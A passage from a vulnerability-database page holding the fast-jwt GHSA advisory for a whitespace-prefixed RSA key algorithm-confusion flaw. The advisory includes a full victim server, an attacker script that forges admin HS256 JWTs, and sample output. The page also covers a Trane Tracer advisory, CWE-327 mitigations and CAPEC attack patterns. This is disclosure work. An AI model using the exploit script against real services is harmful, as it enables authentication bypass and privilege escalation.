Output: Legitimate token payload: { admin: false, name: 'attacker', iat: 1774307691 } Legitimate RS256 token: 401 { error: 'The token algorithm is invalid.' } Forged HS256 token: 200 { admin: true, name: 'attacker', iat: 1774307691, exp: 1774311291 }
The legitimate RS256 token is rejected (the key is misclassified so RS256 is not in the allowed algorithms), while the attacker's forged HS256 token is accepted with admin: true.
Impact
Applications using the RS256 algorithm, a public key with any leading whitespace before the PEM header, and calling the verify function without explicitly providing an algorithm, are vulnerable to this algorithm confusion attack which allows attackers to sign arbitrary payloads which will be accepted by the verifier. This is a direct bypass of the fix for CVE-2023-48223 / GHSA-c2ff-88x2-x9pg. The attack requirements are identical to the original CVE: the attacker only needs knowledge of the server's RSA public key (which is public by definition).
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.1.0"
},
"package": {
"ecosystem": "npm",
"name": "fast-jwt"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.2.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34950"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-327"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-02T20:37:54Z",
"nvd_published_at": "2026-04-06T16:16:38Z",
"severity": "CRITICAL"
},
"details": "### Summary\n The fix for GHSA-c2ff-88x2-x9pg (CVE-2023-48223) is incomplete. The publicKeyPemMatcher regex in fast-jwt/src/crypto.js uses a ^ anchor that is defeated by any leading whitespace in the key string, re-enabling the exact same JWT algorithm confusion attack that the CVE patched.\n\n### Details\n The fix for CVE-2023-48223 (https://github.com/nearform/fast-jwt/commit/15a6e92, v3.3.2) changed the public key matcher from a\n plain string used with .includes() to a regex used with .match():\n\n```\n // Before fix (vulnerable to original CVE)\n const publicKeyPemMatcher = \u0027-----BEGIN PUBLIC KEY-----\u0027\n // .includes() matched anywhere in the string \u2014 not vulnerable to whitespace\n\n // After fix (current code, line 28)\n const publicKeyPemMatcher = /^-----BEGIN(?: (RSA))? PUBLIC KEY-----/\n // ^ anchor requires match at position 0 \u2014 defeated by leading whitespace\n\n In performDetectPublicKeyAlgorithms()\n (https://github.com/nearform/fast-jwt/blob/0ff14a687b9af786bd3ffa870d6febe6e1f13aaa/src/crypto.js#L126-L137):\n\n function performDetectPublicKeyAlgorithms(key) {\n const publicKeyPemMatch = key.match(publicKeyPemMatcher) // no .trim()!\n\n if (key.match(privateKeyPemMatcher)) {\n throw ...\n } else if (publicKeyPemMatch \u0026\u0026 publicKeyPemMatch[1] === \u0027RSA\u0027) {\n return rsaAlgorithms // \u2190 correct path: restricts to RS/PS algorithms\n } else if (!publicKeyPemMatch \u0026\u0026 !key.includes(publicKeyX509CertMatcher)) {\n return hsAlgorithms // \u2190 VULNERABLE: RSA key falls through here\n }\n\n```\n When the key string has any leading whitespace (space, tab, \\n, \\r\\n), the ^ anchor fails, publicKeyPemMatch is null, and the RSA\n public key is classified as an HMAC secret (hsAlgorithms). The attacker can then sign an HS256 token using the public key as the\n HMAC secret \u2014 the exact same attack as CVE-2023-48223.\n\n Notably, the private key detection function does call .trim() before matching\n https://github.com/nearform/fast-jwt/blob/0ff14a687b9af786bd3ffa870d6febe6e1f13aaa/src/crypto.js#L79:\nconst pemData = key.trim().match(privateKeyPemMatcher) // trims \u2014 not vulnerable\n\n The public key path does not. This inconsistency is the root cause.\n\n Leading whitespace in PEM key strings is common in real-world deployments:\n - PostgreSQL/MySQL text columns often return strings with leading newlines\n - YAML multiline strings (|, \u003e) can introduce leading whitespace\n - Environment variables with embedded newlines\n - Copy-paste into configuration files\n\n### PoC\n Victim server (server.js):\n\n```\n const http = require(\u0027node:http\u0027);\n const { generateKeyPairSync } = require(\u0027node:crypto\u0027);\n const fs = require(\u0027node:fs\u0027);\n const path = require(\u0027node:path\u0027);\n const { createSigner, createVerifier } = require(\u0027fast-jwt\u0027);\n\n const port = 3000;\n\n // Generate RSA key pair\n const { publicKey, privateKey } = generateKeyPairSync(\u0027rsa\u0027, { modulusLength: 2048 });\n const publicKeyPem = publicKey.export({ type: \u0027pkcs1\u0027, format: \u0027pem\u0027 });\n const privateKeyPem = privateKey.export({ type: \u0027pkcs8\u0027, format: \u0027pem\u0027 });\n\n // Simulate real-world scenario: key retrieved from database with leading newline\n const publicKeyFromDB = \u0027\\n\u0027 + publicKeyPem;\n\n // Write public key to disk so attacker can recover it\n fs.writeFileSync(path.join(__dirname, \u0027public_key.pem\u0027), publicKeyFromDB);\n\n const server = http.createServer((req, res) =\u003e {\n const url = new URL(req.url, `http://localhost:${port}`);\n\n // Endpoint to generate a JWT token with admin: false\n if (url.pathname === \u0027/generateToken\u0027) {\n const payload = { admin: false, name: url.searchParams.get(\u0027name\u0027) || \u0027anonymous\u0027 };\n const signSync = createSigner({ algorithm: \u0027RS256\u0027, key: privateKeyPem });\n const token = signSync(payload);\n res.writeHead(200, { \u0027Content-Type\u0027: \u0027application/json\u0027 });\n res.end(JSON.stringify({ token }));\n return;\n }\n\n // Endpoint to check if you are the admin or not\n if (url.pathname === \u0027/checkAdmin\u0027) {\n const token = url.searchParams.get(\u0027token\u0027);\n try {\n const verifySync = createVerifier({ key: publicKeyFromDB });\n const payload = verifySync(token);\n res.writeHead(200, { \u0027Content-Type\u0027: \u0027application/json\u0027 });\n res.end(JSON.stringify(payload));\n } catch (err) {\n res.writeHead(401, { \u0027Content-Type\u0027: \u0027application/json\u0027 });\n res.end(JSON.stringify({ error: err.message }));\n }\n return;\n }\n\n res.writeHead(404);\n res.end(\u0027Not found\u0027);\n });\n\n server.listen(port, () =\u003e console.log(`Server running on http://localhost:${port}`));\n```\n\n Attacker script (attacker.js):\n\n```\n const { createHmac } = require(\u0027node:crypto\u0027);\n const fs = require(\u0027node:fs\u0027);\n const path = require(\u0027node:path\u0027);\n\n const serverUrl = \u0027http://localhost:3000\u0027;\n\n async function main() {\n // Step 1: Get a legitimate token\n const res = await fetch(`${serverUrl}/generateToken?name=attacker`);\n const { token: legitimateToken } = await res.json();\n console.log(\u0027Legitimate token payload:\u0027,\n JSON.parse(Buffer.from(legitimateToken.split(\u0027.\u0027)[1], \u0027base64url\u0027)));\n\n // Step 2: Recover the public key\n // (In the original advisory: python3 jwt_forgery.py token1 token2)\n const publicKey = fs.readFileSync(path.join(__dirname, \u0027public_key.pem\u0027), \u0027utf8\u0027);\n\n // Step 3: Forge an HS256 token with admin: true\n // (In the original advisory: python jwt_tool.py --exploit k -pk public_key token)\n const header = Buffer.from(JSON.stringify({ alg: \u0027HS256\u0027, typ: \u0027JWT\u0027 })).toString(\u0027base64url\u0027);\n const payload = Buffer.from(JSON.stringify({\n admin: true, name: \u0027attacker\u0027,\n iat: Math.floor(Date.now() / 1000),\n exp: Math.floor(Date.now() / 1000) + 3600\n })).toString(\u0027base64url\u0027);\n const signature = createHmac(\u0027sha256\u0027, publicKey)\n .update(header + \u0027.\u0027 + payload).digest(\u0027base64url\u0027);\n const forgedToken = header + \u0027.\u0027 + payload + \u0027.\u0027 + signature;\n\n // Step 4: Present forged token to /checkAdmin\n // 4a. Legitimate RS256 token \u2014 REJECTED\n const legRes = await fetch(`${serverUrl}/checkAdmin?token=${encodeURIComponent(legitimateToken)}`);\n console.log(\u0027Legitimate RS256 token:\u0027, legRes.status, await legRes.json());\n\n // 4b. Forged HS256 token \u2014 ACCEPTED\n const forgedRes = await fetch(`${serverUrl}/checkAdmin?token=${encodeURIComponent(forgedToken)}`);\n console.log(\u0027Forged HS256 token:\u0027, forgedRes.status, await forgedRes.json());\n }\n\n main().catch(console.error);\n```\n\n Running the PoC:\n # Terminal 1\n node server.js\n\n # Terminal 2\n node attacker.js\n\n Output:\n Legitimate token payload: { admin: false, name: \u0027attacker\u0027, iat: 1774307691 }\n Legitimate RS256 token: 401 { error: \u0027The token algorithm is invalid.\u0027 }\n Forged HS256 token: 200 { admin: true, name: \u0027attacker\u0027, iat: 1774307691, exp: 1774311291 }\n\n The legitimate RS256 token is rejected (the key is misclassified so RS256 is not in the allowed algorithms), while the attacker\u0027s\n forged HS256 token is accepted with admin: true.\n\n\n### Impact\nApplications using the RS256 algorithm, a public key with any leading whitespace before the PEM header, and calling the verify\nfunction without explicitly providing an algorithm, are vulnerable to this algorithm confusion attack which allows attackers to\nsign arbitrary payloads which will be accepted by the verifier.\nThis is a direct bypass of the fix for CVE-2023-48223 / GHSA-c2ff-88x2-x9pg. The attack requirements are identical to the original\nCVE: the attacker only needs knowledge of the server\u0027s RSA public key (which is public by definition).",
"id": "GHSA-mvf2-f6gm-w987",
"modified": "2026-04-07T17:06:17Z",
"published": "2026-04-02T20:37:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nearform/fast-jwt/security/advisories/GHSA-mvf2-f6gm-w987"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34950"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-c2ff-88x2-x9pg"
},
{
"type": "PACKAGE",
"url": "https://github.com/nearform/fast-jwt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "fast-jwt: Incomplete fix for CVE-2023-48223: JWT Algorithm Confusion via Whitespace-Prefixed RSA Public Key"
}
GHSA-MVQV-5Q67-W9VH
Vulnerability from github – Published: 2026-03-12 18:30 – Updated: 2026-03-27 18:31A Use of a Broken or Risky Cryptographic Algorithm vulnerability in Trane Tracer SC, Tracer SC+, and Tracer Concierge could allow an attacker to bypass authentication and gain root-level access to the device.
{
"affected": [],
"aliases": [
"CVE-2026-28252"
],
"database_specific": {
"cwe_ids": [
"CWE-327"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-12T18:16:23Z",
"severity": "CRITICAL"
},
"details": "A Use of a Broken or Risky Cryptographic Algorithm vulnerability in Trane Tracer SC, Tracer SC+, and Tracer Concierge could allow an attacker to bypass authentication and gain root-level access to the device.",
"id": "GHSA-mvqv-5q67-w9vh",
"modified": "2026-03-27T18:31:22Z",
"published": "2026-03-12T18:30:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28252"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-071-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
Mitigation MIT-24
Strategy: Libraries or Frameworks
- When there is a need to store or transmit sensitive data, use strong, up-to-date cryptographic algorithms to encrypt that data. Select a well-vetted algorithm that is currently considered to be strong by experts in the field, and use well-tested implementations. As with all cryptographic mechanisms, the source code should be available for analysis.
- For example, US government systems require FIPS 140-2 certification [REF-1192].
- Do not develop custom or private cryptographic algorithms. They will likely be exposed to attacks that are well-understood by cryptographers. Reverse engineering techniques are mature. If the algorithm can be compromised if attackers find out how it works, then it is especially weak.
- Periodically ensure that the cryptography has not become obsolete. Some older algorithms, once thought to require a billion years of computing time, can now be broken in days or hours. This includes MD4, MD5, SHA1, DES, and other algorithms that were once regarded as strong. [REF-267]
Mitigation MIT-52
Ensure that the design allows one cryptographic algorithm to be replaced with another in the next generation or version. Where possible, use wrappers to make the interfaces uniform. This will make it easier to upgrade to stronger algorithms. With hardware, design the product at the Intellectual Property (IP) level so that one cryptographic algorithm can be replaced with another in the next generation of the hardware product.
Mitigation
Carefully manage and protect cryptographic keys (see CWE-320). If the keys can be guessed or stolen, then the strength of the cryptography itself is irrelevant.
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Industry-standard implementations will save development time and may be more likely to avoid errors that can occur during implementation of cryptographic algorithms. Consider the ESAPI Encryption feature.
Mitigation MIT-25
When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.
CAPEC-20: Encryption Brute Forcing
An attacker, armed with the cipher text and the encryption algorithm used, performs an exhaustive (brute force) search on the key space to determine the key that decrypts the cipher text to obtain the plaintext.
CAPEC-459: Creating a Rogue Certification Authority Certificate
An adversary exploits a weakness resulting from using a hashing algorithm with weak collision resistance to generate certificate signing requests (CSR) that contain collision blocks in their "to be signed" parts. The adversary submits one CSR to be signed by a trusted certificate authority then uses the signed blob to make a second certificate appear signed by said certificate authority. Due to the hash collision, both certificates, though different, hash to the same value and so the signed blob works just as well in the second certificate. The net effect is that the adversary's second X.509 certificate, which the Certification Authority has never seen, is now signed and validated by that Certification Authority.
CAPEC-473: Signature Spoof
An attacker generates a message or datablock that causes the recipient to believe that the message or datablock was generated and cryptographically signed by an authoritative or reputable source, misleading a victim or victim operating system into performing malicious actions.
CAPEC-475: Signature Spoofing by Improper Validation
An adversary exploits a cryptographic weakness in the signature verification algorithm implementation to generate a valid signature without knowing the key.
CAPEC-608: Cryptanalysis of Cellular Encryption
The use of cryptanalytic techniques to derive cryptographic keys or otherwise effectively defeat cellular encryption to reveal traffic content. Some cellular encryption algorithms such as A5/1 and A5/2 (specified for GSM use) are known to be vulnerable to such attacks and commercial tools are available to execute these attacks and decrypt mobile phone conversations in real-time. Newer encryption algorithms in use by UMTS and LTE are stronger and currently believed to be less vulnerable to these types of attacks. Note, however, that an attacker with a Cellular Rogue Base Station can force the use of weak cellular encryption even by newer mobile devices.
CAPEC-614: Rooting SIM Cards
SIM cards are the de facto trust anchor of mobile devices worldwide. The cards protect the mobile identity of subscribers, associate devices with phone numbers, and increasingly store payment credentials, for example in NFC-enabled phones with mobile wallets. This attack leverages over-the-air (OTA) updates deployed via cryptographically-secured SMS messages to deliver executable code to the SIM. By cracking the DES key, an attacker can send properly signed binary SMS messages to a device, which are treated as Java applets and are executed on the SIM. These applets are allowed to send SMS, change voicemail numbers, and query the phone location, among many other predefined functions. These capabilities alone provide plenty of potential for abuse.
CAPEC-97: Cryptanalysis
Cryptanalysis is a process of finding weaknesses in cryptographic algorithms and using these weaknesses to decipher the ciphertext without knowing the secret key (instance deduction). Sometimes the weakness is not in the cryptographic algorithm itself, but rather in how it is applied that makes cryptanalysis successful. An attacker may have other goals as well, such as: Total Break (finding the secret key), Global Deduction (finding a functionally equivalent algorithm for encryption and decryption that does not require knowledge of the secret key), Information Deduction (gaining some information about plaintexts or ciphertexts that was not previously known) and Distinguishing Algorithm (the attacker has the ability to distinguish the output of the encryption (ciphertext) from a random permutation of bits).